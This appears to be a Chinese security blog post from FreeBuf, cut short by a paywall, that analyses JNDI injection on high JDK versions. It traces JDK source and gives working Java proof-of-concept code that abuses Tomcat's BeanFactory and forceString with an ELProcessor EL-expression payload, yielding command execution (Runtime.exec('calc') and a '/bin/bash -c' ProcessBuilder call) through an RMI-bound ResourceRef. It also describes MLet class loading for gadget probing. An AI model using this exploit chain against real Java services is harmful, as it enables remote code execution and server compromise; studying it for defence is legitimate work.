freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

JNDI绕过高版本注入限制那些事
godownio 2024-12-04 17:25:46 171347
所属地 广东省

JNDI高版本注入可以说是java安全大集合了。涉及了许多框架漏洞的组合使用,当分析完JNDI高版本时,我认为也算是正式入门JAVA安全了

jndi注入第一需要在影响版本内,第二需要出网

jdk8<8u191之前,ldap都能打,且不需要其他依赖库。8u191<jdk<8u241,能打JRMP

高版本也能绕过打JNDI:

https://www.cnblogs.com/bitterz/p/15946406.html#211-javaxelelprocessoreval

回想之前的修复方式,都是把trustURLCodebase置为了false,虽然没办法加载远程恶意类了,不过可以通过加载服务器的本地类构造恶意代码

jndi回顾

JNDI demo(yakit or marshelsec生成恶意类)

publicclassJNDIRMIClient{
publicstaticvoidmain(String[] args) throwsException{
InitialContextinitialContext=newInitialContext();
RemoteInterfaceremoteObject=(RemoteInterface) initialContext.lookup("ldap://172.21.240.1:8599/RuntimeEvil");//yakit
remoteObject.sayHello("JNDI");
}
}

低版本(<8u191)jndi ldap中,跟进到DirectoryManager.getObjectInstance:

  • 用getObjectFactoryFromRefrence从远端refrence获取类工厂,并实例化类工厂(我们绑定的恶意类工厂,这一步就完成了RCE)

  • getObjectInstance从类工厂加载类并实例化

image-20241018112434905.png


跟进到NamingManager.getObjectFactoryFromRefrence,发现从Reference加载类的过程如下:

  • 先双亲委派从本地加载类

  • 如果本地加载不到,从codebase加载

image-20241018104908789.png

  1. helper.loadClass(factory) -> VersionHelper12.loadClass,用系统类加载器加载类,走双亲委派从本地加载

image-20241018105416861.png

  1. 从codebase加载类

  • jdk<191,VersionHelper12从codebase加载如下,用URLClassLoader获取远端类工厂,没有任何过滤

image-20241018112713922.png

获取后Class.forName初始化

image-20241018113447188.png

初始化类后直接newInstance实例化,并转为ObjectFactory

image-20241018113150097.png

  • jdk>=191,VersionHelper12 trustURLCodebase==true才从远端加载类工厂

image-20241018150242252.png

不能从远端加载类工厂了,那我们换个思路

从本地加载类工厂,然后找getObjectInstance进行下一步利用

既然要找个能用的类工厂,该类必须满足实现ObjectFactory接口,才能顺利强转

image-20241018151408823.png

Tomcat 8

导入使用Tomcat类:

<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.56</version>
</dependency>

beanFactory

Tomcat8下,org.apache.naming.factory.BeanFactory存在利用点

BeanFactory.getObjectInstance很长,大致流程如下:

不是ResourceRef子类直接退出

image-20241018165205453.png

  • 加载类并实例化

image-20241018163918904.png

  • 从ref对象中获取名为forceString的对象,并将其转化为字符串value

  • 将value按逗号分割成多个参数,每个参数形如name=method的键值对

  • 如果参数包含等号,则将其按等号分为参数名和方法名,=前面为参数,=后面为方法名;如果参数不包含等号,则生成默认的setter方法(首字母大写加set前缀)

  • 使用反射获取对应的方法,参数类型为String

很明显,能获取参数个数为1,参数类型为String的任意方法

image-20241018164214928.png

  • 遍历每个属性,跳过特定的属性(scope,auth,forceString,singleton),如果找到setter方法,则调用此方法设置属性值

image-20241018164853102.png

找遍全文,发现这个函数完全没有用第二个参数name,也就是我们传入的reference第一个参数(需要加载的类名),好神金(估计只是为了满足重写getObjectInstance

image-20241018214024895.png


构造一个恶意ResourceRef类,通过forceString参数,能调用任意对象的方法

类需要有无参构造函数,被利用方法需满足参数个数为1,参数类型为String

哪个方法满足要求,且能达到RCE呢?

javax.el.ELProcessor#eval

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!-- 使用与你的Tomcat版本相匹配的版本 -->
</dependency>

众所周知,Tomcat自带的类ELProcessor可以进行EL表达式注入

image-20241018195943377.png

表达式注入的入口即javax.el.ELProcessor#eval,参数正好满足个数为1,类型为String

EL表达式依赖:

<dependency>
<groupId>org.apache.tomcat.embed</groupId>
<artifactId>tomcat-embed-el</artifactId>
<version>8.5.56</version><!--使用与你的Tomcat版本相匹配的版本-->
</dependency>

EL表达式Payload:

ELProcessorelProcessor=newjavax.el.ELProcessor();
elProcessor.eval("\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/bash','-c','calc']).start()\")");

ResourceRef接收的第一个参数即类名,应该传ELProcesser。但是构造函数并没有看见能传forceString的地方,但注意到都是通过Reference.add添加属性

image-20241018204028148.png

我们依葫芦画瓢也调用Reference.add添加forceString。这里ResourceRef是Reference的子类

ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));

ResourceRef作为Reference子类,可以直接进行JNDI绑定

我们直接试试呢?

publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}

发现并没有执行

调试跟进到BeanFactory.getObjectInstance,发现在invoke之前,由于propName为forceString,跳过了本次循环。

image-20241020164042052.png

我们先用forceString把setterName设置为eval,属性名设置为x,并put进forced

image-20241020164741174.png

然后注意循环是在所有Entry循环

image-20241020164640261.png

第二次在forced根据属性名取方法,也就是eval方法,参数为第二个Entry的Value

image-20241020164805044.png

所以先传一个("forceString","x=eval"),再传一个("x","payload")即可RCE

publicclassjndi_highVersion_Tomcat{
publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistry(1099);
Hashtable<String, String>env=newHashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");
ResourceRefref=newResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
ref.add(newStringRefAddr("forceString", "x=eval"));
ref.add(newStringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")"));
//       ref.add(new StringRefAddr("forceString", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"java.lang.Runtime.getRuntime().exec('calc')\")=eval"));
InitialContextcontext=newInitialContext(env);
context.bind("remoteImpl", ref);
}
}

image-20241020165100647.png


攻击过程:

执行lookup->实例化factoryLocation路径下factory->调用factory的getObjectInstance->BeanFactory.getObjectInstance->根据forceString解析方法名和占位参数->填充真参数invoke反射调用ELProcessor.eval


不仅ELProcessor能利用,还有很多其他类

浅蓝师傅给出了许多满足BeanFactory调用要求(类有无参构造方法,代码执行方法参数个数为1,参数类型为String,可以后续利用)的类,尽管有一些并不能达到RCE,但仍有利用价值

https://tttang.com/archive/1405/

MLet

MLet.addURL+URLClassLoader.loadClass

jdk自带的javax.management.loading.MLet,addURL方法参数满足要求

image-20241020171153802.png

调用了URLClossLoader.addURL

image-20241020171234140.png

MLet继承URLClassLoader,也能用URLClassLoader.loadClass

只可惜loadClass无法触发静态代码块,也无法RCE

虽然无法RCE,但可以用来进行gadget探测。例如在不知道当前Classpath存在哪些可用的gadget时,就可以通过MLet进行第一次类加载,如果类加载成功就不会影响后面访问远程类。

探测ELProcessor和是否可外联:

publicstaticvoidmain(String[] args) throwsException{
LocateRegistry.createRegistr
可试读前30%内容
¥ 14.9 全文查看
9.9元开通FVIP会员
畅读付费文章
最低0.3元/天
# java反序列化 # Jndi注入 # Apache Tomcat # JAVA安全
免责声明
1.一般免责声明:本文所提供的技术信息仅供参考,不构成任何专业建议。读者应根据自身情况谨慎使用且应遵守《中华人民共和国网络安全法》,作者及发布平台不对因使用本文信息而导致的任何直接或间接责任或损失负责。
2. 适用性声明:文中技术内容可能不适用于所有情况或系统,在实际应用前请充分测试和评估。若因使用不当造成的任何问题,相关方不承担责任。
3. 更新声明:技术发展迅速,文章内容可能存在滞后性。读者需自行判断信息的时效性,因依据过时内容产生的后果,作者及发布平台不承担责任。
本文为 godownio 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
JAVA—反序列化探究
godownio LV.3
Something for nothing
  • 14 文章数
  • 9 关注者
apache Dubbo反序列化全集
2025-02-25
XStream反序列化漏洞合集
2024-10-31
深入浅出SnakeYaml反序列化
2024-10-28
文章目录